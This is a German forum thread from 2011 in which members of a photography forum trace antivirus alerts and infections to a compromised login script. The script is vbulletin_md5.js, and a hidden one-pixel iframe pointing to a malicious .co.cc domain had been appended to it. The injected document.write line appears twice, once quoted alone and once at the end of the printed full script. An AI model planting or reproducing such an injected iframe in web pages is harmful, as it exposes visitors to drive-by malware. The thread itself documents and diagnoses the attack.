Forum schon wieder verseucht ?

Hallo,

jedesmal wenn ich heute das Forum öffne , versucht er was zu installieren und mein Antivir meldet sich

Deshalb Forum schon wieder verseucht ?

bei mir meldet sich nix..... vielleicht wegen ''Adblock Plus'' und ''NoScript'' unter Firefox?

adblockplus hab ich auch

es ist die ftritzbox die sich zuerst meldet.

und zwar dass adobe versucht 1234..... exe zu instalieren und gerne internetfreigabe hätte.
wenn ich das verneine kommt sofort wieder die meldung aber diesmal ohne adobe.
aus der 1234....exe ist dann auch eine 1234.....ru.cc oder so geworden und hier schlägt dann antivir Alarm

Hmm... ne Fritzbox steht hier auch... Antivir sacht nix.
Ich habe aber dem Browser aber auch so ziemlich alles verboten.

Im Seitenquelltext ist nichts zu finden, was darauf hindeuten würde. Auf keinem meiner Rechner kann ich das nachvollziehen, ob mit oder ohne Ad- und Scriptblocker.

Ich habe urplötzlich das Programm "Malware Protection" auf dem Rechner.
Dieses blöde Programm gaukelt einem vor, daß alles infiziert ist und man die Vollversion kaufen soll.
Antivir hat nicht angeschlagen.
Wir rätseln jetzt wo es her kommt?
Kurz vorher hatte ich das DSLR Forum besucht.

Ich bekomme seit 2-3Tagen die angefügte Meldung im Kaspersky, wenn ich das Forum aufrufe.

Kaspersky sperrt den Zugriff des Trojaners (wenn es einer ist), daher steht dort "Verboten".

Wüsste gern, was das ist.

Hallo!

Bei mir gibt's keine Probleme, ich nutze Firefox mit Norton Internet Security.

Sind denn Firefox und Adobe auch auf dem neuesten Stand?

Gruß

Jörg-Peter

scorpio schrieb:

Im Seitenquelltext ist nichts zu finden, was darauf hindeuten würde. Auf keinem meiner Rechner kann ich das nachvollziehen, ob mit oder ohne Ad- und Scriptblocker.

Zum Vergrößern anklicken....

Ich hatte heute auch vier mal die Antivir Meldung mit der Virusmeldung JAVA/Agent.KH

Mu Lei schrieb:

Ich bekomme seit 2-3Tagen die angefügte Meldung im Kaspersky, wenn ich das Forum aufrufe.

Zum Vergrößern anklicken....

Den Aufruf eines solchen Links aus dem Forum heraus kann ich nicht nachvollziehen. Es gibt auch keinen Thread mit der angegebenen Nummer.

Die einzigen externen Links gehen zu den Werbebannern von Tamron, Galileo bzw. ac-foto, adtiger und viglink.

DSLR-Forum Virenmeldung????

Hmm, hab jetzt zum zweiten Mal heute auf der Seite hier ne Trojanerwarnung von Kaspersky bekommen. Da es kein Adminbereich im Forum gibt poste ich es mal hier hin. Ich denke mein Rechner ist sauber, was heissen würde, dass er von der Seite hier kommt.
Kann allerdings nicht genau sagen wie, es kommt nicht immer bei der gleichen Seite, was 2 mal ne andere und ist auch nicht reproduzierbar...

Die Meldung die ich bekomme:


DEN LINK BESSER NICHT ANKLICKEN.... BZW DIE ADRESSE

Schutzkomponente: Web-Anti-Virus
Programm: Firefox
Objekt: nlqlrrkf.co.cc/showthread.php?t=30070003//showthread
Ergebnis: Gefunden: Tronja.JS.Redirector.pz

Mu Lei schrieb:

Ich bekomme seit 2-3Tagen die angefügte Meldung im Kaspersky, wenn ich das Forum aufrufe.

Zum Vergrößern anklicken....

Ich kann bestätigen, dass das Forum die URL hXXp://nlqlrrkf.co.cc/showthread.php?t=30070003 irgendwie als Frame (IFrame?) ausliefert. Sie war jedenfalls als Typ "Frame" in der Liste der geblockten Elemente von Adblockplus (nur testweise aktiviert fürs Forum). Der Browser-Cache war geleert, und das Forum war das erste, was ich mit dem frisch gestarteten Browser aufgerufen hatte.

Allerdings scheint die URL von Norton Antivirus (NIS) nicht angemeckert zu werden.

Für mich sieht die URL aber auch sehr "unseriös" aus. Ich konnte sie übrigens im Quellcode nirgendwo entdecken. Wird das evtl. wieder über irgendein Werbebanner verteilt?

Nachtrag: Liegt nicht am Banner. Und es tritt nur im Login-Formular auf. Dort versteckt es sich in folgendem eingebundenen Script, das offenbar nur im Login-Formular benutzt wird:

Code:

<script type="text/javascript" src="clientscript/vbulletin_md5.js?v=386"></script>

Am Ende von clientscript/vbulletin_md5.js steht:

Code:

document.write('<iframe src="http://nlqlrrkf.co.cc/showthread.php?t=30070003" width="1" height="1" frameborder="0"></iframe>');

Laut Firefox-Seiteninfo ist diese Datei geändert (gehackt?) worden am Sonntag, 5. Juni 2011 17:25:01. Das würde von den ersten Meldungen hier im Forum zeitlich hinkommen (Edit: Mit "seit 2-3 Tagen" kommt es aber nicht hin, merkwürdig. Vielleicht wurde das Iframe noch zwischenzeitlich verändert).

Da es sich hier um das Login-Formular handelt, wird mir dabei etwas schwummerig. Könnte es theoretisch sein, dass hier jemand versucht, Logins abzugreifen? Diese Datei ist ja wenn ich es richtig verstanden habe immerhin das Script, das unsere Passwörter direkt im Browser hasht, damit dieser Hash an den Forenserver geschickt werden kann (und nicht das Klartext-Passwort).

P.S. Noch scheint (!) sich mein Rechner nichts eingefangen zu haben (hab auch kein Java-Plugin installiert, falls das ein ähnlicher Angriff wie neulich sein sollte). Werde aber trotzdem später mal mit NBRT und Avira-Rescue scannen...

starscapefan schrieb:

P.S. Noch scheint (!) sich mein Rechner nichts eingefangen zu haben (hab auch kein Java-Plugin installiert, falls das ein ähnlicher Angriff wie neulich sein sollte). Werde aber trotzdem später mal mit NBRT und Avira-Rescue scannen...

Zum Vergrößern anklicken....

Mein Rechner hat sich richtig angesteckt...

Er hat sich tolle Dinge installiert, zB sollte meine SSD keinen freien Speicher mehr haben (es waren noch 35GB frei) und die SATA Schnittstelle wurde heruntergefahren, man sollte das System neustarten (es lief aber noch)... Es wurde ein Programm "Windows 7 Recovery" (Link) installiert. Dieses "tolle" Progrämmchen verwehrte mir nach einem Neustart jeglichen Zugriff auf das System..... Ich kam an keine Daten mehr heran... Dank Acronis TrueImage läuft es wieder ohne Trojaner, Wurm & Co. -> hat mich 10 Min. gekostet (zum Glück hatte ich vor ein paar Tagen erst ein Backup gemacht)

Allerdings schlägt gerade der Windows Defender an: Der Win32/Karagany.A wurde gefunden und eliminiert (hoffe ich). Aber zur Vorsicht schiebe ich gleich nochmal ein Restore drüber...

Hallo,

also mein Firefox, Antivir sind auf dem aktuellen Stand.

Hab gestern abend dann das DSLR-Forum (Firefox beendet) geschlossen und noch in ebay / mobile etc. gesurft.
Danach ging ich nochmals ins Forum, es passierte genau das gleiche wieder.

naja, wenn ich der einzige bin liegts vielleicht doch bei mir. Irgendwie ist mein Antivir seit dem letzten Vorfall etwas mehr beschäftigt. Vielleicht ist ja doch was hängengeblieben.

mfg Klaus

Guten Morgen,
gestern beim Login wurde diese Meldung zweimal angezeigt, ausserdem stand gestern und eben beim Login unten in der Statuszeile des Browsers "Übertrage Daten von nlqlrrkf.co.cc ...."

Firefox 4.0.1 auf Win 2000 mit Adblock Plus
Es war nur ein Browserfenster mit DSLR-Forum geöffnet

cleopatra schrieb:

Ich habe urplötzlich das Programm "Malware Protection" auf dem Rechner.
Dieses blöde Programm gaukelt einem vor, daß alles infiziert ist und man die Vollversion kaufen soll.
Antivir hat nicht angeschlagen.
Wir rätseln jetzt wo es her kommt?
Kurz vorher hatte ich das DSLR Forum besucht.

Zum Vergrößern anklicken....

Bei mir auch! Das Ding ist lästig - macht alle anderen Programme zu und läuft und läuft...

starscapefan schrieb:

Da es sich hier um das Login-Formular handelt, wird mir dabei etwas schwummerig. Könnte es theoretisch sein, dass hier jemand versucht, Logins abzugreifen?

Zum Vergrößern anklicken....

Kann sein, dieses agent.KH was bei mir anschlug ist laut netcom3 ein PSW-Stealer: "Runs in stealth mode and records passwords as and when entered on a system" http://www.netcom3.com/infectionlibrary/-PSW-Stealer-Agent-kh

cleopatra schrieb:

Ich habe urplötzlich das Programm "Malware Protection" auf dem Rechner.
Dieses blöde Programm gaukelt einem vor, daß alles infiziert ist und man die Vollversion kaufen soll.
...
Kurz vorher hatte ich das DSLR Forum besucht.

Zum Vergrößern anklicken....

ging mir genauso. auf alle fälle nicht kaufen, da das programm nicht schützt, sondern das gegenteil bewirkt(fake).
firewall, antivirenprogramm, anti-malwaresoftware zeigten nix an. da ich aus der branche komme, habe ich die sache manuell nach ca 2h fleißarbeit von meinen rechner verbannt. allerdings melden sich jetzt noch andere exe-dateien, welche eindeutig nicht auf meinen rechner gehören. das system hatte ich erst am 2.6. neu aufgesetzt.

Yep, hier der Quelltext von clientscript/vbulletin_md5.js:

var hexcase=0;var b64pad="";var chrsz=8;function hex_md5(A){return binl2hex(core_md5(str2binl(A),A.length*chrsz))}function b64_md5(A){return binl2b64(core_md5(str2binl(A),A.length*chrsz))}function str_md5(A){return binl2str(core_md5(str2binl(A),A.length*chrsz))}function hex_hmac_md5(A,B){return binl2hex(core_hmac_md5(A,B))}function b64_hmac_md5(A,B){return binl2b64(core_hmac_md5(A,B))}function str_hmac_md5(A,B){return binl2str(core_hmac_md5(A,B))}function core_md5(K,F){K[F>>5]|=128<<((F)%32);K[(((F+64)>>>9)<<4)+14]=F;var J=1732584193;var I=-271733879;var H=-1732584194;var G=271733878;for(var C=0;C<K.length;C+=16){var E=J;var D=I;var B=H;var A=G;J=md5_ff(J,I,H,G,K[C+0],7,-680876936);G=md5_ff(G,J,I,H,K[C+1],12,-389564586);H=md5_ff(H,G,J,I,K[C+2],17,606105819);I=md5_ff(I,H,G,J,K[C+3],22,-1044525330);J=md5_ff(J,I,H,G,K[C+4],7,-176418897);G=md5_ff(G,J,I,H,K[C+5],12,1200080426);H=md5_ff(H,G,J,I,K[C+6],17,-1473231341);I=md5_ff(I,H,G,J,K[C+7],22,-45705983);J=md5_ff(J,I,H,G,K[C+8],7,1770035416);G=md5_ff(G,J,I,H,K[C+9],12,-1958414417);H=md5_ff(H,G,J,I,K[C+10],17,-42063);I=md5_ff(I,H,G,J,K[C+11],22,-1990404162);J=md5_ff(J,I,H,G,K[C+12],7,1804603682);G=md5_ff(G,J,I,H,K[C+13],12,-40341101);H=md5_ff(H,G,J,I,K[C+14],17,-1502002290);I=md5_ff(I,H,G,J,K[C+15],22,1236535329);J=md5_gg(J,I,H,G,K[C+1],5,-165796510);G=md5_gg(G,J,I,H,K[C+6],9,-1069501632);H=md5_gg(H,G,J,I,K[C+11],14,643717713);I=md5_gg(I,H,G,J,K[C+0],20,-373897302);J=md5_gg(J,I,H,G,K[C+5],5,-701558691);G=md5_gg(G,J,I,H,K[C+10],9,38016083);H=md5_gg(H,G,J,I,K[C+15],14,-660478335);I=md5_gg(I,H,G,J,K[C+4],20,-405537848);J=md5_gg(J,I,H,G,K[C+9],5,568446438);G=md5_gg(G,J,I,H,K[C+14],9,-1019803690);H=md5_gg(H,G,J,I,K[C+3],14,-187363961);I=md5_gg(I,H,G,J,K[C+8],20,1163531501);J=md5_gg(J,I,H,G,K[C+13],5,-1444681467);G=md5_gg(G,J,I,H,K[C+2],9,-51403784);H=md5_gg(H,G,J,I,K[C+7],14,1735328473);I=md5_gg(I,H,G,J,K[C+12],20,-1926607734);J=md5_hh(J,I,H,G,K[C+5],4,-378558);G=md5_hh(G,J,I,H,K[C+8],11,-2022574463);H=md5_hh(H,G,J,I,K[C+11],16,1839030562);I=md5_hh(I,H,G,J,K[C+14],23,-35309556);J=md5_hh(J,I,H,G,K[C+1],4,-1530992060);G=md5_hh(G,J,I,H,K[C+4],11,1272893353);H=md5_hh(H,G,J,I,K[C+7],16,-155497632);I=md5_hh(I,H,G,J,K[C+10],23,-1094730640);J=md5_hh(J,I,H,G,K[C+13],4,681279174);G=md5_hh(G,J,I,H,K[C+0],11,-358537222);H=md5_hh(H,G,J,I,K[C+3],16,-722521979);I=md5_hh(I,H,G,J,K[C+6],23,76029189);J=md5_hh(J,I,H,G,K[C+9],4,-640364487);G=md5_hh(G,J,I,H,K[C+12],11,-421815835);H=md5_hh(H,G,J,I,K[C+15],16,530742520);I=md5_hh(I,H,G,J,K[C+2],23,-995338651);J=md5_ii(J,I,H,G,K[C+0],6,-198630844);G=md5_ii(G,J,I,H,K[C+7],10,1126891415);H=md5_ii(H,G,J,I,K[C+14],15,-1416354905);I=md5_ii(I,H,G,J,K[C+5],21,-57434055);J=md5_ii(J,I,H,G,K[C+12],6,1700485571);G=md5_ii(G,J,I,H,K[C+3],10,-1894986606);H=md5_ii(H,G,J,I,K[C+10],15,-1051523);I=md5_ii(I,H,G,J,K[C+1],21,-2054922799);J=md5_ii(J,I,H,G,K[C+8],6,1873313359);G=md5_ii(G,J,I,H,K[C+15],10,-30611744);H=md5_ii(H,G,J,I,K[C+6],15,-1560198380);I=md5_ii(I,H,G,J,K[C+13],21,1309151649);J=md5_ii(J,I,H,G,K[C+4],6,-145523070);G=md5_ii(G,J,I,H,K[C+11],10,-1120210379);H=md5_ii(H,G,J,I,K[C+2],15,718787259);I=md5_ii(I,H,G,J,K[C+9],21,-343485551);J=safe_add(J,E);I=safe_add(I,D);H=safe_add(H,B);G=safe_add(G,A)}return Array(J,I,H,G)}function md5_cmn(F,C,B,A,E,D){return safe_add(bit_rol(safe_add(safe_add(C,F),safe_add(A,D)),E),B)}function md5_ff(C,B,G,F,A,E,D){return md5_cmn((B&G)|((~B)&F),C,B,A,E,D)}function md5_gg(C,B,G,F,A,E,D){return md5_cmn((B&F)|(G&(~F)),C,B,A,E,D)}function md5_hh(C,B,G,F,A,E,D){return md5_cmn(B^G^F,C,B,A,E,D)}function md5_ii(C,B,G,F,A,E,D){return md5_cmn(G^(B|(~F)),C,B,A,E,D)}function core_hmac_md5(C,F){var E=str2binl(C);if(E.length>16){E=core_md5(E,C.length*chrsz)}var A=Array(16),D=Array(16);for(var B=0;B<16;B++){A=E^909522486;D=E^1549556828}var G=core_md5(A.concat(str2binl(F)),512+F.length*chrsz);return core_md5(D.concat(G),512+128)}function safe_add(A,D){var C=(A&65535)+(D&65535);var B=(A>>16)+(D>>16)+(C>>16);return(B<<16)|(C&65535)}function bit_rol(A,B){return(A<<B)|(A>>>(32-B))}function str2binl(D){var C=new Array();var A=(1<<chrsz)-1;for(var B=0;B<D.length*chrsz;B+=chrsz){C[B>>5]|=(D.charCodeAt(B/chrsz)&A)<<(B%32)}return C}function binl2str(C){var D="";var A=(1<<chrsz)-1;for(var B=0;B<C.length*32;B+=chrsz){D+=String.fromCharCode((C[B>>5]>>>(B%32))&A)}return D}function binl2hex(C){var B=hexcase?"0123456789ABCDEF":"0123456789abcdef";var D="";for(var A=0;A<C.length*4;A++){D+=B.charAt((C[A>>2]>>((A%4)*8+4))&15)+B.charAt((C[A>>2]>>((A%4)*8))&15)}return D}function binl2b64(D){var C="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";var F="";for(var B=0;B<D.length*4;B+=3){var E=(((D[B>>2]>>8*(B%4))&255)<<16)|(((D[B+1>>2]>>8*((B+1)%4))&255)<<8)|((D[B+2>>2]>>8*((B+2)%4))&255);for(var A=0;A<4;A++){if(B*8+A*6>D.length*32){F+=b64pad}else{F+=C.charAt((E>>6*(3-A))&63)}}}return F}function str_to_ent(D){var A="";var C;for(C=0;C<D.length;C++){var E=D.charCodeAt(C);var B="";if(E>255){while(E>=1){B="0123456789".charAt(E%10)+B;E=E/10}if(B==""){B="0"}B="#"+B;B="&"+B;B=B+";";A+=B}else{A+=D.charAt(C)}}return A}function trim(A){while(A.substring(0,1)==" "){A=A.substring(1,A.length)}while(A.substring(A.length-1,A.length)==" "){A=A.substring(0,A.length-1)}return A}function md5hash(B,A,E,C){if(navigator.userAgent.indexOf("Mozilla/")==0&&parseInt(navigator.appVersion)>=4){var D=hex_md5(str_to_ent(trim(B.value)));A.value=D;if(E){D=hex_md5(trim(B.value));E.value=D}if(!C){B.value=""}}return true}; document.write('<iframe src="http://nlqlrrkf.co.cc/showthread.php?t=30070003" width="1" height="1" frameborder="0"></iframe>');

Auch in einem Inkognito-Fenster von Chrome...
...und mit einem wget via eines Linux-Server, der das Forum garantiert noch nie aufgerufen hat.

Das Forum ist definitiv verseucht!

AW: DSLR-Forum Virenmeldung????

Habe die gleich Meldung heute früh.


06.06.2011 09:33:46 Das Öffnen des schädlichen HTTP-Objekts <http://nlqlrrkf.co.cc/showthread.php?t=30070003//showthread>: gefunden: trojanisches Programm 'Trojan.JS.Redirector.py'.


Kaspersky AV 6.0 Workstation